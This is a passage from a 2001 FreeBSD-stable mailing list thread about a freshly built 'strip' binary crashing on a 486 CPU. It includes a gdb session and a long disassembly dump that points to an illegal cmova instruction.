not save. chmod -R u+w ~/Desktop might help. > any help ! > > > > Colin Legendre CCNA, MCP > sudz@ns3g.com Regards, Sybolt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 3:42:47 2001 Delivered-To: freebsd-stable@freebsd.org Received: from lerami.lerctr.org (lerami.lerctr.org [207.158.72.11]) by hub.freebsd.org (Postfix) with ESMTP id 7437637B71B; Mon, 12 Mar 2001 03:42:42 -0800 (PST) (envelope-from ler@lerctr.org) Received: (from ler@localhost) by lerami.lerctr.org (8.11.3/8.11.3/20010112/$Revision: 1.13 $) id f2CBgdT05246; Mon, 12 Mar 2001 05:42:39 -0600 (CST) (envelope-from ler) Date: Mon, 12 Mar 2001 05:42:39 -0600 From: Larry Rosenman To: Kris Kennaway Cc: stable@FreeBSD.ORG, qa@FreeBSD.ORG Subject: Re: cputype=486 Message-ID: <20010312054239.A5000@lerami.lerctr.org> References: <20010311120241.A15202@lerami.lerctr.org> <20010311145945.C66872@mollari.cthul.hu> <20010311193126.A6166@lerami.lerctr.org> <20010311175148.A82406@mollari.cthul.hu> <20010311195843.A7539@lerami.lerctr.org> <20010311201658.A8487@lerami.lerctr.org> <20010311235550.A40321@mollari.cthul.hu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.16i In-Reply-To: <20010311235550.A40321@mollari.cthul.hu>; from kris@obsecurity.org on Sun, Mar 11, 2001 at 11:55:50PM -0800 X-Mailer: Mutt http://www.mutt.org/ Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG * Kris Kennaway [010312 01:55]: > On Sun, Mar 11, 2001 at 08:16:59PM -0600, Larry Rosenman wrote: > > > OK, the ****NEWLY BUILT**** strip does *NOT* work on the 486.... > > Well, this log shows that strip is not being built with any > CPU-specific optimizations, as expected. I don't know how to explain > it -- the CPUTYPE changes did not touch the compiler, and they're not > active here. Neither has the compiler been upgraded in quite a while. > Does anyone else have the ability to build world on a 486 to test > this? > > Kris > > P.S. emailing a 680K attachment to two world-wide, high-subscription > mailing lists was probably Not a Smart Thing to do :-) sorry, but wanted to get the info out. Should I have just send-pr'd it? Or put up a 7meg file for http? LER -- Larry Rosenman http://www.lerctr.org/~ler Phone: +1 972-414-9812 E-Mail: ler@lerctr.org US Mail: 1905 Steamboat Springs Drive, Garland, TX 75044-6749 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 3:53:40 2001 Delivered-To: freebsd-stable@freebsd.org Received: from lerami.lerctr.org (lerami.lerctr.org [207.158.72.11]) by hub.freebsd.org (Postfix) with ESMTP id B484637B719; Mon, 12 Mar 2001 03:53:33 -0800 (PST) (envelope-from ler@lerctr.org) Received: (from ler@localhost) by lerami.lerctr.org (8.11.3/8.11.3/20010112/$Revision: 1.13 $) id f2CBrRB05805; Mon, 12 Mar 2001 05:53:27 -0600 (CST) (envelope-from ler) Date: Mon, 12 Mar 2001 05:53:27 -0600 From: Larry Rosenman To: Kris Kennaway Cc: Mike Pritchard , stable@FreeBSD.ORG, qa@FreeBSD.ORG Subject: Re: cputype=486 Message-ID: <20010312055326.A5662@lerami.lerctr.org> References: <20010311120241.A15202@lerami.lerctr.org> <20010311145945.C66872@mollari.cthul.hu> <20010311193126.A6166@lerami.lerctr.org> <20010311175148.A82406@mollari.cthul.hu> <20010311195843.A7539@lerami.lerctr.org> <20010311201658.A8487@lerami.lerctr.org> <20010311235550.A40321@mollari.cthul.hu> <20010312023134.A849@mppsystems.com> <20010312003516.A51209@mollari.cthul.hu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.16i In-Reply-To: <20010312003516.A51209@mollari.cthul.hu>; from kris@obsecurity.org on Mon, Mar 12, 2001 at 12:35:16AM -0800 X-Mailer: Mutt http://www.mutt.org/ Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG * Kris Kennaway [010312 02:35]: > On Mon, Mar 12, 2001 at 02:31:35AM -0600, Mike Pritchard wrote: > > > Somewhat. I have a box that has one of those overdrive chips in it, but > > it still claims to be a 486-class machine. It runs current, however, and > > not stable. Actually, I have two of those machines. One is running a > > 12 hour old -current. The other is running a 4.0-current from 10/24/99. > > > > I'll try upgrading the oldest machine to -stable and doing a "make world" > > and see what happens. This may take most of the week, since a make world > > takes forever on one these machines, and my free time to check up on this is > > very limited. If anyone else has a true 486 running -stable and wants > > to follow up on this, feel free. > > Okay - whatever you can do to check. Thanks. I last built the 486 on 2/18/2001, if that helps narrow down what commit(s) broke it. Larry > > Kris -- Larry Rosenman http://www.lerctr.org/~ler Phone: +1 972-414-9812 E-Mail: ler@lerctr.org US Mail: 1905 Steamboat Springs Drive, Garland, TX 75044-6749 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 4:15:26 2001 Delivered-To: freebsd-stable@freebsd.org Received: from lerami.lerctr.org (lerami.lerctr.org [207.158.72.11]) by hub.freebsd.org (Postfix) with ESMTP id E55F237B718; Mon, 12 Mar 2001 04:14:23 -0800 (PST) (envelope-from ler@lerctr.org) Received: (from ler@localhost) by lerami.lerctr.org (8.11.3/8.11.3/20010112/$Revision: 1.13 $) id f2CCEIK06777; Mon, 12 Mar 2001 06:14:18 -0600 (CST) (envelope-from ler) Date: Mon, 12 Mar 2001 06:14:18 -0600 From: Larry Rosenman To: Kris Kennaway Cc: Mike Pritchard , stable@FreeBSD.ORG, qa@FreeBSD.ORG Subject: Re: cputype=486 Message-ID: <20010312061417.A6615@lerami.lerctr.org> References: <20010311120241.A15202@lerami.lerctr.org> <20010311145945.C66872@mollari.cthul.hu> <20010311193126.A6166@lerami.lerctr.org> <20010311175148.A82406@mollari.cthul.hu> <20010311195843.A7539@lerami.lerctr.org> <20010311201658.A8487@lerami.lerctr.org> <20010311235550.A40321@mollari.cthul.hu> <20010312023134.A849@mppsystems.com> <20010312003516.A51209@mollari.cthul.hu> <20010312055326.A5662@lerami.lerctr.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable User-Agent: Mutt/1.3.16i In-Reply-To: <20010312055326.A5662@lerami.lerctr.org>; from ler@lerctr.org on Mon, Mar 12, 2001 at 05:53:27AM -0600 X-Mailer: Mutt http://www.mutt.org/ Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG * Larry Rosenman [010312 05:53]: > * Kris Kennaway [010312 02:35]: > > On Mon, Mar 12, 2001 at 02:31:35AM -0600, Mike Pritchard wrote: > >=20 > > > Somewhat. I have a box that has one of those overdrive chips in it, = but > > > it still claims to be a 486-class machine. It runs current, however,= and > > > not stable. Actually, I have two of those machines. One is running a > > > 12 hour old -current. The other is running a 4.0-current from 10/24/= 99. > > >=20 > > > I'll try upgrading the oldest machine to -stable and doing a "make wo= rld" > > > and see what happens. This may take most of the week, since a make w= orld > > > takes forever on one these machines, and my free time to check up on = this is > > > very limited. If anyone else has a true 486 running -stable and wants > > > to follow up on this, feel free. > >=20 > > Okay - whatever you can do to check. Thanks. > I last built the 486 on 2/18/2001, if that helps narrow down > what commit(s) broke it.=20 >=20 > Larry Here is a gdb of strip starting. I suspect the cmova is an illegal 486 instruction ... Cut from below: 0x804fd7a : cmova 0x8(%ebp),%eax=0D Script started on Mon Mar 12 06:09:55 2001 fw# gdb ./strip=0D=0D GNU gdb 4.18=0D Copyright 1998 Free Software Foundation, Inc.=0D GDB is free software, covered by the GNU General Public License, and you ar= e=0D welcome to change it and/or distribute copies of it under certain condition= s.=0D Type "show copying" to see the conditions.=0D There is absolutely no warranty for GDB. Type "show warranty" for details.= =0D This GDB was configured as "i386-unknown-freebsd"...=0D (no debugging symbols found)...=0D (gdb) run=0D Starting program: /usr/obj/usr/src/i386/usr/bin/./strip =0D =0D Program received signal SIGILL, Illegal instruction.=0D 0x804fd7a in isatty ()=0D (gdb) disassemble=0D Dump of assembler code for function isatty:=0D 0x804f714 : push %ebp=0D 0x804f715 : mov %esp,%ebp=0D 0x804f717 : sub $0x38,%esp=0D 0x804f71a : mov 0x8(%ebp),%eax=0D 0x804f71d : add $0xfffffff8,%esp=0D 0x804f720 : lea 0xffffffd4(%ebp),%edx=0D 0x804f723 : push %edx=0D 0x804f724 : push %eax=0D 0x804f725 : call 0x8050dbc =0D 0x804f72a : cmp $0xffffffff,%eax=0D 0x804f72d : setne %al=0D 0x804f730 : movzbl %al,%eax=0D 0x804f733 : mov %ebp,%esp=0D 0x804f735 : pop %ebp=0D 0x804f736 : ret =0D 0x804f737 : nop =0D 0x804f738 : push %ebp=0D 0x804f739 : mov %esp,%ebp=0D 0x804f73b : sub $0xc,%esp=0D 0x804f73e : push %edi=0D 0x804f73f : push %esi=0D 0x804f740 : push %ebx=0D 0x804f741 : mov 0x8(%ebp),%esi=0D ---Type to continue, or q to quit--- =08 =08=0D 0x804f744 : mov $0x8051d80,%ebx=0D 0x804f749 : add $0xfffffffc,%esp=0D 0x804f74c : mov 0x8053ae0,%edx=0D 0x804f752 : mov %edx,%edi=0D 0x804f754 : mov $0x0,%al=0D 0x804f756 : cld =0D 0x804f757 : mov $0xffffffff,%ecx=0D 0x804f75c : repnz scas %es:(%edi),%al=0D 0x804f75e : mov %ecx,%eax=0D 0x804f760 : not %eax=0D 0x804f762 : dec %eax=0D 0x804f763 : push %eax=0D 0x804f764 : push %edx=0D 0x804f765 : push $0x2=0D 0x804f767 : call 0x8051178 =0D 0x804f76c : add $0xfffffffc,%esp=0D 0x804f76f : mov 0x805520c,%edx=0D 0x804f775 : mov %edx,%edi=0D 0x804f777 : mov $0x0,%al=0D 0x804f779 : cld =0D 0x804f77a : mov $0xffffffff,%ecx=0D 0x804f77f : repnz scas %es:(%edi),%al=0D 0x804f781 : mov %ecx,%eax=0D 0x804f783 : not %eax=0D ---Type to continue, or q to quit---=0D 0x804f785 : dec %eax=0D 0x804f786 : push %eax=0D 0x804f787 : push %edx=0D 0x804f788 : push $0x2=0D 0x804f78a : call 0x8051178 =0D 0x804f78f : add $0x20,%esp=0D 0x804f792 : add $0xfffffffc,%esp=0D 0x804f795 : mov %ebx,%edi=0D 0x804f797 : mov $0x0,%al=0D 0x804f799 : cld =0D 0x804f79a : mov $0xffffffff,%ecx=0D 0x804f79f : repnz scas %es:(%edi),%al=0D 0x804f7a1 : mov %ecx,%eax=0D 0x804f7a3 : not %eax=0D 0x804f7a5 : dec %eax=0D 0x804f7a6 : push %eax=0D 0x804f7a7 : push %ebx=0D 0x804f7a8 : push $0x2=0D 0x804f7aa : call 0x8051178 =0D 0x804f7af : add $0xfffffffc,%esp=0D 0x804f7b2 : mov %esi,%edi=0D 0x804f7b4 : mov $0x0,%al=0D 0x804f7b6 : cld =0D 0x804f7b7 : mov $0xffffffff,%ecx=0D ---Type to continue, or q to quit---=0D 0x804f7bc : repnz scas %es:(%edi),%al=0D 0x804f7be : mov %ecx,%eax=0D 0x804f7c0 : not %eax=0D 0x804f7c2 : dec %eax=0D 0x804f7c3 : push %eax=0D 0x804f7c4 : push %esi=0D 0x804f7c5 : push $0x2=0D 0x804f7c7 : call 0x8051178 =0D 0x804f7cc : movl $0x1,0x80551e8=0D 0x804f7d6 : add $0x20,%esp=0D 0x804f7d9 : call 0x8050a10 =0D 0x804f7de : mov %esi,%esi=0D 0x804f7e0 : push %ebp=0D 0x804f7e1 : mov %esp,%ebp=0D 0x804f7e3 : sub $0xc,%esp=0D 0x804f7e6 : push %edi=0D 0x804f7e7 : push %esi=0D 0x804f7e8 : push %ebx=0D 0x804f7e9 : mov 0x8(%ebp),%ebx=0D 0x804f7ec : mov $0x8051d89,%esi=0D 0x804f7f1 : cmpl $0x0,0x80551e4=0D 0x804f7f8 : je 0x804f806 =0D 0x804f7fa : add $0xfffffff4,%esp=0D 0x804f7fd : push %ebx=0D ---Type to continue, or q to quit---=0D 0x804f7fe : call 0x804f738 =0D 0x804f803 : add $0x10,%esp=0D 0x804f806 : add $0xfffffffc,%esp=0D 0x804f809 : mov 0x8053ae0,%edx=0D 0x804f80f : mov %edx,%edi=0D 0x804f811 : mov $0x0,%al=0D 0x804f813 : cld =0D 0x804f814 : mov $0xffffffff,%ecx=0D 0x804f819 : repnz scas %es:(%edi),%al=0D 0x804f81b : mov %ecx,%eax=0D 0x804f81d : not %eax=0D 0x804f81f : dec %eax=0D 0x804f820 : push %eax=0D 0x804f821 : push %edx=0D 0x804f822 : push $0x2=0D 0x804f824 : call 0x8051178 =0D 0x804f829 : add $0xfffffffc,%esp=0D 0x804f82c : mov 0x805520c,%edx=0D 0x804f832 : mov %edx,%edi=0D 0x804f834 : mov $0x0,%al=0D 0x804f836 : cld =0D 0x804f837 : mov $0xffffffff,%ecx=0D 0x804f83c : repnz scas %es:(%edi),%al=0D 0x804f83e : mov %ecx,%eax=0D ---Type to continue, or q to quit---=0D 0x804f840 : not %eax=0D 0x804f842 : dec %eax=0D 0x804f843 : push %eax=0D 0x804f844 : push %edx=0D 0x804f845 : push $0x2=0D 0x804f847 : call 0x8051178 =0D 0x804f84c : add $0x20,%esp=0D 0x804f84f : add $0xfffffffc,%esp=0D 0x804f852 : mov %esi,%edi=0D 0x804f854 : mov $0x0,%al=0D 0x804f856 : cld =0D 0x804f857 : mov $0xffffffff,%ecx=0D 0x804f85c : repnz scas %es:(%edi),%al=0D 0x804f85e : mov %ecx,%eax=0D 0x804f860 : not %eax=0D 0x804f862 : dec %eax=0D 0x804f863 : push %eax=0D 0x804f864 : push %esi=0D 0x804f865 : push $0x2=0D 0x804f867 : call 0x8051178 =0D 0x804f86c : add $0xfffffffc,%esp=0D 0x804f86f : mov %ebx,%edi=0D 0x804f871 : mov $0x0,%al=0D 0x804f873 : cld =0D ---Type to continue, or q to quit---=0D 0x804f874 : mov $0xffffffff,%ecx=0D 0x804f879 : repnz scas %es:(%edi),%al=0D 0x804f87b : mov %ecx,%eax=0D 0x804f87d : not %eax=0D 0x804f87f : dec %eax=0D 0x804f880 : push %eax=0D 0x804f881 : push %ebx=0D 0x804f882 : push $0x2=0D 0x804f884 : call 0x8051178 =0D 0x804f889 : lea 0xffffffe8(%ebp),%esp=0D 0x804f88c : pop %ebx=0D 0x804f88d : pop %esi=0D 0x804f88e : pop %edi=0D 0x804f88f : mov %ebp,%esp=0D 0x804f891 : pop %ebp=0D 0x804f892 : ret =0D 0x804f893 : nop =0D 0x804f894 : push %ebp=0D 0x804f895 : mov %esp,%ebp=0D 0x804f897 : sub $0x10,%esp=0D 0x804f89a : push %esi=0D 0x804f89b : push %ebx=0D 0x804f89c : mov 0x8(%ebp),%ebx=0D 0x804f89f : add $0xfffffff4,%esp=0D ---Type to continue, or q to quit---=0D 0x804f8a2 : push $0x0=0D 0x804f8a4 : call 0x8051234 =0D 0x804f8a9 : lea 0xfff(%eax),%esi=0D 0x804f8af : and $0xfffff000,%esi=0D 0x804f8b5 : shl $0xc,%ebx=0D 0x804f8b8 : add %esi,%ebx=0D 0x804f8ba : add $0xfffffff4,%esp=0D 0x804f8bd : push %ebx=0D 0x804f8be : call 0x8050c04 =0D 0x804f8c3 : add $0x20,%esp=0D 0x804f8c6 : test %eax,%eax=0D 0x804f8c8 : jne 0x804f8f9 =0D 0x804f8ca : mov %ebx,%eax=0D 0x804f8cc : shr $0xc,%eax=0D 0x804f8cf : sub 0x80551c0,%eax=0D 0x804f8d5 : lea 0xffffffff(%eax),%edx=0D 0x804f8d8 : mov %edx,0x80551c4=0D 0x804f8de : mov %ebx,0x8055204=0D 0x804f8e4 : cmp 0x80551cc,%eax=0D 0x804f8ea : jb 0x804f900 =0D 0x804f8ec : add $0xfffffff4,%esp=0D 0x804f8ef : push %edx=0D 0x804f8f0 : call 0x804f90c =0D 0x804f8f5 : test %eax,%eax=0D ---Type to continue, or q to quit---=0D 0x804f8f7 : jne 0x804f900 =0D 0x804f8f9 : xor %eax,%eax=0D 0x804f8fb : jmp 0x804f902 =0D 0x804f8fd : lea 0x0(%esi),%esi=0D 0x804f900 : mov %esi,%eax=0D 0x804f902 : lea 0xffffffe8(%ebp),%esp=0D 0x804f905 : pop %ebx=0D 0x804f906 : pop %esi=0D 0x804f907 : mov %ebp,%esp=0D 0x804f909 : pop %ebp=0D 0x804f90a : ret =0D 0x804f90b : nop =0D 0x804f90c : push %ebp=0D 0x804f90d : mov %esp,%ebp=0D 0x804f90f : sub $0xc,%esp=0D 0x804f912 : push %edi=0D 0x804f913 : push %esi=0D 0x804f914 : push %ebx=0D 0x804f915 : mov 0x8(%ebp),%esi=0D 0x804f918 : shl $0x2,%esi=0D 0x804f91b : mov %esi,%eax=0D 0x804f91d : shr $0xc,%eax=0D 0x804f920 : lea 0x2(%eax),%esi=0D 0x804f923 : mov 0x80551cc,%edi=0D ---Type to continue, or q to quit---=0D 0x804f929 : shl $0x2,%edi=0D 0x804f92c : add $0xfffffffc,%esp=0D 0x804f92f : push $0x0=0D 0x804f931 : push $0x0=0D 0x804f933 : push $0xffffffff=0D 0x804f935 : push $0x1002=0D 0x804f93a : push $0x3=0D 0x804f93c : mov %esi,%eax=0D 0x804f93e : shl $0xc,%eax=0D 0x804f941 : push %eax=0D 0x804f942 : push $0x0=0D 0x804f944 : call 0x8050c38 =0D 0x804f949 : mov %eax,%ebx=0D 0x804f94b : add $0x20,%esp=0D 0x804f94e : cmp $0xffffffff,%ebx=0D 0x804f951 : je 0x804f994 =0D 0x804f953 : mov 0x80551c8,%eax=0D 0x804f958 : mov 0x80551cc,%edx=0D 0x804f95e : shl $0x2,%edx=0D 0x804f961 : add $0xfffffffc,%esp=0D 0x804f964 : push %edx=0D 0x804f965 : push %eax=0D 0x804f966 : push %ebx=0D 0x804f967 : call 0x8050b64 =0D ---Type to continue, or q to quit---=0D 0x804f96c : shl $0xa,%esi=0D 0x804f96f : mov %esi,0x80551cc=0D 0x804f975 : mov 0x80551c8,%eax=0D 0x804f97a : mov %ebx,0x80551c8=0D 0x804f980 : add $0xfffffff8,%esp=0D 0x804f983 : push %edi=0D 0x804f984 : push %eax=0D 0x804f985 : call 0x80514f0 =0D 0x804f98a : mov $0x1,%eax=0D 0x804f98f : jmp 0x804f996 =0D 0x804f991 : lea 0x0(%esi),%esi=0D 0x804f994 : xor %eax,%eax=0D 0x804f996 : lea 0xffffffe8(%ebp),%esp=0D 0x804f999 : pop %ebx=0D 0x804f99a : pop %esi=0D 0x804f99b : pop %edi=0D 0x804f99c : mov %ebp,%esp=0D 0x804f99e : pop %ebp=0D 0x804f99f : ret =0D 0x804f9a0 : push %ebp=0D 0x804f9a1 : mov %esp,%ebp=0D 0x804f9a3 : sub $0x5c,%esp=0D 0x804f9a6 : push %edi=0D 0x804f9a7 : push %esi=0D ---Type to continue, or q to quit---=0D 0x804f9a8 : push %ebx=0D 0x804f9a9 : movl $0x0,0xffffffb0(%ebp)=0D 0x804f9b0 : cmpl $0x0,0xffffffb0(%ebp)=0D 0x804f9b4 : jne 0x804f9ec =0D 0x804f9b6 : call 0x80513fc <__error_unthreaded>=0D 0x804f9bb : mov (%eax),%ebx=0D 0x804f9bd : add $0xfffffffc,%esp=0D 0x804f9c0 : push $0x3f=0D 0x804f9c2 : lea 0xffffffc0(%ebp),%edi=0D 0x804f9c5 : push %edi=0D 0x804f9c6 : push $0x8051d94=0D 0x804f9cb : call 0x8051504 =0D 0x804f9d0 : mov %eax,%esi=0D 0x804f9d2 : call 0x80513fc <__error_unthreaded>=0D 0x804f9d7 : mov %ebx,(%eax)=0D 0x804f9d9 : add $0x10,%esp=0D 0x804f9dc : test %esi,%esi=0D 0x804f9de : jle 0x804fb65 =0D 0x804f9e4 : movb $0x0,(%esi,%edi,1)=0D 0x804f9e8 : mov %edi,%ebx=0D 0x804f9ea : jmp 0x804fa0e =0D 0x804f9ec : cmpl $0x1,0xffffffb0(%ebp)=0D 0x804f9f0 : jne 0x804fa08 =0D 0x804f9f2 : add $0xfffffff4,%esp=0D ---Type to continue, or q to quit---=0D 0x804f9f5 : push $0x8051da5=0D 0x804f9fa : call 0x80508ec =0D 0x804f9ff : mov %eax,%ebx=0D 0x804fa01 : add $0x10,%esp=0D 0x804fa04 : jmp 0x804fa0e =0D 0x804fa06 : mov %esi,%esi=0D 0x804fa08 : mov 0x805521c,%ebx=0D 0x804fa0e : test %ebx,%ebx=0D 0x804fa10 : je 0x804fb65 =0D 0x804fa16 : cmpb $0x0,(%ebx)=0D 0x804fa19 : je 0x804fb65 =0D 0x804fa1f : mov (%ebx),%al=0D 0x804fa21 : add $0xc4,%al=0D 0x804fa23 : movsbl %al,%eax=0D 0x804fa26 : cmp $0x3e,%eax=0D 0x804fa29 : ja 0x804fb38 =0D 0x804fa2f : jmp *0x8051e00(,%eax,4)=0D 0x804fa36 : mov %esi,%esi=0D 0x804fa38 : mov 0x8053e20,%eax=0D 0x804fa3d : add %eax,%eax=0D 0x804fa3f : mov %eax,0x8053e20=0D 0x804fa44 : jmp 0x804fb5e =0D 0x804fa49 : lea 0x0(%esi),%esi=0D 0x804fa4c : shrl $0x1,0x8053e20=0D ---Type to continue, or q to quit---=0D 0x804fa53 : jmp 0x804fb5e =0D 0x804fa58 : movl $0x0,0x80551e4=0D 0x804fa62 : jmp 0x804fb5e =0D 0x804fa67 : nop =0D 0x804fa68 : movl $0x1,0x80551e4=0D 0x804fa72 : jmp 0x804fb5e =0D 0x804fa77 : nop =0D 0x804fa78 : movl $0x0,0x8053e24=0D 0x804fa82 : jmp 0x804fb5e =0D 0x804fa87 : nop =0D 0x804fa88 : movl $0x1,0x8053e24=0D 0x804fa92 : jmp 0x804fb5e =0D 0x804fa97 : nop =0D 0x804fa98 : movl $0x0,0x80551ec=0D 0x804faa2 : jmp 0x804fb5e =0D 0x804faa7 : nop =0D 0x804faa8 : movl $0x1,0x80551ec=0D 0x804fab2 : jmp 0x804fb5e =0D 0x804fab7 : nop =0D 0x804fab8 : movl $0x0,0x80551fc=0D 0x804fac2 : jmp 0x804fb5e =0D 0x804fac7 : nop =0D 0x804fac8 : movl $0x1,0x80551fc=0D 0x804fad2 : jmp 0x804fb5e =0D ---Type to continue, or q to quit---=0D 0x804fad7 : nop =0D 0x804fad8 : movl $0x0,0x8055200=0D 0x804fae2 : jmp 0x804fb5e =0D 0x804fae4 : movl $0x1,0x8055200=0D 0x804faee : jmp 0x804fb5e =0D 0x804faf0 : movl $0x0,0x80551f4=0D 0x804fafa : jmp 0x804fb5e =0D 0x804fafc : movl $0x1,0x80551f4=0D 0x804fb06 : jmp 0x804fb5e =0D 0x804fb08 : movl $0x0,0x80551f0=0D 0x804fb12 : jmp 0x804fb5e =0D 0x804fb14 : movl $0x1,0x80551f0=0D 0x804fb1e : jmp 0x804fb5e =0D 0x804fb20 : movl $0x0,0x80551f8=0D 0x804fb2a : jmp 0x804fb5e =0D 0x804fb2c : movl $0x1,0x80551f8=0D 0x804fb36 : jmp 0x804fb5e =0D 0x804fb38 : mov 0x80551e4,%esi=0D 0x804fb3e : movl $0x0,0x80551e4=0D 0x804fb48 : add $0xfffffff4,%esp=0D 0x804fb4b : push $0x8051dc0=0D 0x804fb50 : call 0x804f7e0 =0D 0x804fb55 : mov %esi,0x80551e4=0D 0x804fb5b : add $0x10,%esp=0D ---Type to continue, or q to quit---=0D 0x804fb5e : inc %ebx=0D 0x804fb5f : jne 0x804fa16 =0D 0x804fb65 : incl 0xffffffb0(%ebp)=0D 0x804fb68 : cmpl $0x2,0xffffffb0(%ebp)=0D 0x804fb6c : jle 0x804f9b0 =0D 0x804fb72 : cmpl $0x0,0x8055200=0D 0x804fb79 : je 0x804fba1 =0D 0x804fb7b : movl $0x0,0xffffffb4(%ebp)=0D 0x804fb82 : movl $0x0,0xffffffb8(%ebp)=0D 0x804fb89 : movl $0x0,0xffffffbc(%ebp)=0D 0x804fb90 : add $0xfffffff8,%esp=0D 0x804fb93 : push $0xc=0D 0x804fb95 : lea 0xffffffb4(%ebp),%eax=0D 0x804fb98 : push %eax=0D 0x804fb99 : call 0x8051478 =0D 0x804fb9e : add $0x10,%esp=0D 0x804fba1 : cmpl $0x0,0x80551f8=0D 0x804fba8 : je 0x804fbb4 =0D 0x804fbaa : movl $0x1,0x80551fc=0D 0x804fbb4 : cmpl $0x0,0x80551fc=0D 0x804fbbb : je 0x804fbc7 =0D 0x804fbbd : movl $0x1,0x80551ec=0D 0x804fbc7 : add $0xfffffffc,%esp=0D 0x804fbca : push $0x0=0D ---Type to continue, or q to quit---=0D 0x804fbcc : push $0x0=0D 0x804fbce : push $0xffffffff=0D 0x804fbd0 : push $0x1002=0D 0x804fbd5 : push $0x3=0D 0x804fbd7 : push $0x1000=0D 0x804fbdc : push $0x0=0D 0x804fbde : call 0x8050c38 =0D 0x804fbe3 : mov %eax,0x80551c8=0D 0x804fbe8 : add $0x20,%esp=0D 0x804fbeb : cmp $0xffffffff,%eax=0D 0x804fbee : jne 0x804fc00 =0D 0x804fbf0 : add $0xfffffff4,%esp=0D 0x804fbf3 : push $0x8051de0=0D 0x804fbf8 : call 0x804f738 =0D 0x804fbfd : add $0x10,%esp=0D 0x804fc00 : add $0xfffffff4,%esp=0D 0x804fc03 : push $0x0=0D 0x804fc05 : call 0x8051234 =0D 0x804fc0a : add $0xfff,%eax=0D 0x804fc0f : shr $0xc,%eax=0D 0x804fc12 : add $0xfffffff4,%eax=0D 0x804fc15 : mov %eax,0x80551c0=0D 0x804fc1a : movl $0x400,0x80551cc=0D 0x804fc24 : add $0x10,%esp=0D ---Type to continue, or q to quit---=0D 0x804fc27 : cmpl $0x0,0x8053e20=0D 0x804fc2e : jne 0x804fc3a =0D 0x804fc30 : movl $0x1,0x8053e20=0D 0x804fc3a : shll $0xc,0x8053e20=0D 0x804fc41 : add $0xfffffff4,%esp=0D 0x804fc44 : push $0x14=0D 0x804fc46 : call 0x804ffa8 =0D 0x804fc4b : mov %eax,0x8055208=0D 0x804fc50 : incl 0x80551b8=0D 0x804fc56 : lea 0xffffff98(%ebp),%esp=0D 0x804fc59 : pop %ebx=0D 0x804fc5a : pop %esi=0D 0x804fc5b : pop %edi=0D 0x804fc5c : mov %ebp,%esp=0D 0x804fc5e : pop %ebp=0D 0x804fc5f : ret =0D 0x804fc60 : push %ebp=0D 0x804fc61 : mov %esp,%ebp=0D 0x804fc63 : sub $0xc,%esp=0D 0x804fc66 : push %edi=0D 0x804fc67 : push %esi=0D 0x804fc68 : push %ebx=0D 0x804fc69 : movl $0x0,0xfffffffc(%ebp)=0D 0x804fc70 : mov 0x8(%ebp),%ebx=0D ---Type to continue, or q to quit---=0D 0x804fc73 : add $0xfff,%ebx=0D 0x804fc79 : and $0xfffff000,%ebx=0D 0x804fc7f : xor %edi,%edi=0D 0x804fc81 : mov 0x80551d0,%ecx=0D 0x804fc87 : jmp 0x804fc8e =0D 0x804fc89 : lea 0x0(%esi),%esi=0D 0x804fc8c : mov (%ecx),%ecx=0D 0x804fc8e : test %ecx,%ecx=0D 0x804fc90 : je 0x804fcc4 =0D 0x804fc92 : cmp %ebx,0x10(%ecx)=0D 0x804fc95 : jb 0x804fc8c =0D 0x804fc97 : jne 0x804fcb8 =0D 0x804fc99 : mov 0x8(%ecx),%edi=0D 0x804fc9c : cmpl $0x0,(%ecx)=0D 0x804fc9f : je 0x804fca9 =0D 0x804fca1 : mov (%ecx),%edx=0D 0x804fca3 : mov 0x4(%ecx),%eax=0D 0x804fca6 : mov %eax,0x4(%edx)=0D 0x804fca9 : mov 0x4(%ecx),%edx=0D 0x804fcac : mov (%ecx),%eax=0D 0x804fcae : mov %eax,(%edx)=0D 0x804fcb0 : mov %ecx,0xfffffffc(%ebp)=0D 0x804fcb3 : jmp 0x804fcc4 =0D 0x804fcb5 : lea 0x0(%esi),%esi=0D ---Type to continue, or q to quit---=0D 0x804fcb8 : mov 0x8(%ecx),%edi=0D 0x804fcbb : lea (%edi,%ebx,1),%eax=0D 0x804fcbe : mov %eax,0x8(%ecx)=0D 0x804fcc1 : sub %ebx,0x10(%ecx)=0D 0x804fcc4 : shr $0xc,%ebx=0D 0x804fcc7 : test %edi,%edi=0D 0x804fcc9 : jne 0x804fcdd =0D 0x804fccb : add $0xfffffff4,%esp=0D 0x804fcce : push %ebx=0D 0x804fccf : call 0x804f894 =0D 0x804fcd4 : mov %eax,%edi=0D 0x804fcd6 : add $0x10,%esp=0D 0x804fcd9 : test %edi,%edi=0D 0x804fcdb : je 0x804fd34 =0D 0x804fcdd : mov %edi,%esi=0D 0x804fcdf : shr $0xc,%esi=0D 0x804fce2 : sub 0x80551c0,%esi=0D 0x804fce8 : mov 0x80551c8,%eax=0D 0x804fced : movl $0x2,(%eax,%esi,4)=0D 0x804fcf4 : mov $0x1,%ecx=0D 0x804fcf9 : cmp %ebx,%ecx=0D 0x804fcfb : jae 0x804fd14 =0D 0x804fcfd : lea 0x0(%esi),%esi=0D 0x804fd00 : lea (%ecx,%esi,1),%edx=0D ---Type to continue, or q to quit---=0D 0x804fd03 : mov 0x80551c8,%eax=0D 0x804fd08 : movl $0x3,(%eax,%edx,4)=0D 0x804fd0f : inc %ecx=0D 0x804fd10 : cmp %ebx,%ecx=0D 0x804fd12 : jb 0x804fd00 =0D 0x804fd14 : cmpl $0x0,0x80551fc=0D 0x804fd1b : je 0x804fd34 =0D 0x804fd1d : add $0xfffffffc,%esp=0D 0x804fd20 : mov %ebx,%eax=0D 